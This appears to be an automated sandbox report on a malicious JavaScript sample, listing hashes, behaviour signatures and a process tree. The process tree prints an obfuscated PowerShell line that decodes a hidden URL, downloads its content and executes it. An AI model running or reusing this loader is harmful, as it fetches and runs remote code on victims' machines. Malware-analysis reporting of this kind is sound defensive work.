Analysis

  • max time kernel
    94s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-12-2024 14:52

General

  • Target

    f2f329a6e8cbe33c20645525755d51d997ca9939274d7f33c08e1c753f3bfe12.js

  • Size

    255KB

  • MD5

    8a64f332eec507a5ca7cdecdd3329584

  • SHA1

    13f633512645b00097c8658d1ff05fbf7d33aa25

  • SHA256

    f2f329a6e8cbe33c20645525755d51d997ca9939274d7f33c08e1c753f3bfe12

  • SHA512

    3ce65f5be0c8434f0395d9fc44d5691e11abd361f31018b63b91c56c663417feae9a93785f30ca041ecf08cc1d437a12547664ed12bd622fb8e7abba94117e62

  • SSDEEP

    1536:nwpImsQw3kO6iF8n7aJYgA/x7ncxtcGBwokj3AmsQw3kO6iF8n7aaYgA/x7ncxtC:n5invc7c9YinSc7c98c7c9minUinw

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\f2f329a6e8cbe33c20645525755d51d997ca9939274d7f33c08e1c753f3bfe12.js
    1⤵
      PID:3344
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell $nicvslh='ur' ;new-alias printout c$($nicvslh)l;$vakxnqferultp=(7839,7850,7858,7842,7844,7839,7859,7858,7863,7796,7858,7792,7839,7787,7857,7852,7853,7788,7790,7787,7853,7845,7853,7804,7856,7802,7850,7846,7851,7857,7856,7791,7790);$ioekvwrtn=('bronx','get-cmdlet');$xrakfqdc=$vakxnqferultp;foreach($wjcqyvxuimzobl in $xrakfqdc){$omwpjuazgl=$wjcqyvxuimzobl;$tyhcwurqjfmz=$tyhcwurqjfmz+[char]($omwpjuazgl-7741);$oznbacvwgqjs=$tyhcwurqjfmz; $kazrubxefsl=$oznbacvwgqjs};$ovklwm[2]=$kazrubxefsl;$aoilnefvxzrhdk='rl';$ygbflqzjcvxude=1;.$([char](9992-9887)+'e'+'x')(printout -useb $kazrubxefsl)
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4844
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $nicvslh='ur' ;new-alias printout c$($nicvslh)l;$vakxnqferultp=(7839,7850,7858,7842,7844,7839,7859,7858,7863,7796,7858,7792,7839,7787,7857,7852,7853,7788,7790,7787,7853,7845,7853,7804,7856,7802,7850,7846,7851,7857,7856,7791,7790);$ioekvwrtn=('bronx','get-cmdlet');$xrakfqdc=$vakxnqferultp;foreach($wjcqyvxuimzobl in $xrakfqdc){$omwpjuazgl=$wjcqyvxuimzobl;$tyhcwurqjfmz=$tyhcwurqjfmz+[char]($omwpjuazgl-7741);$oznbacvwgqjs=$tyhcwurqjfmz; $kazrubxefsl=$oznbacvwgqjs};$ovklwm[2]=$kazrubxefsl;$aoilnefvxzrhdk='rl';$ygbflqzjcvxude=1;.$([char](9992-9887)+'e'+'x')(printout -useb $kazrubxefsl)
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4436

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ltls43yd.jnc.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/4436-0-0x00007FF8ABFF3000-0x00007FF8ABFF5000-memory.dmp

      Filesize

      8KB

    • memory/4436-1-0x000002174DBF0000-0x000002174DC12000-memory.dmp

      Filesize

      136KB

    • memory/4436-11-0x00007FF8ABFF0000-0x00007FF8ACAB1000-memory.dmp

      Filesize

      10.8MB

    • memory/4436-12-0x00007FF8ABFF0000-0x00007FF8ACAB1000-memory.dmp

      Filesize

      10.8MB

    • memory/4436-13-0x00007FF8ABFF0000-0x00007FF8ACAB1000-memory.dmp

      Filesize

      10.8MB

    • memory/4436-14-0x00007FF8ABFF0000-0x00007FF8ACAB1000-memory.dmp

      Filesize

      10.8MB

    • memory/4436-15-0x00007FF8ABFF3000-0x00007FF8ABFF5000-memory.dmp

      Filesize

      8KB

    • memory/4436-16-0x00007FF8ABFF0000-0x00007FF8ACAB1000-memory.dmp

      Filesize

      10.8MB

    • memory/4436-19-0x00007FF8ABFF0000-0x00007FF8ACAB1000-memory.dmp

      Filesize

      10.8MB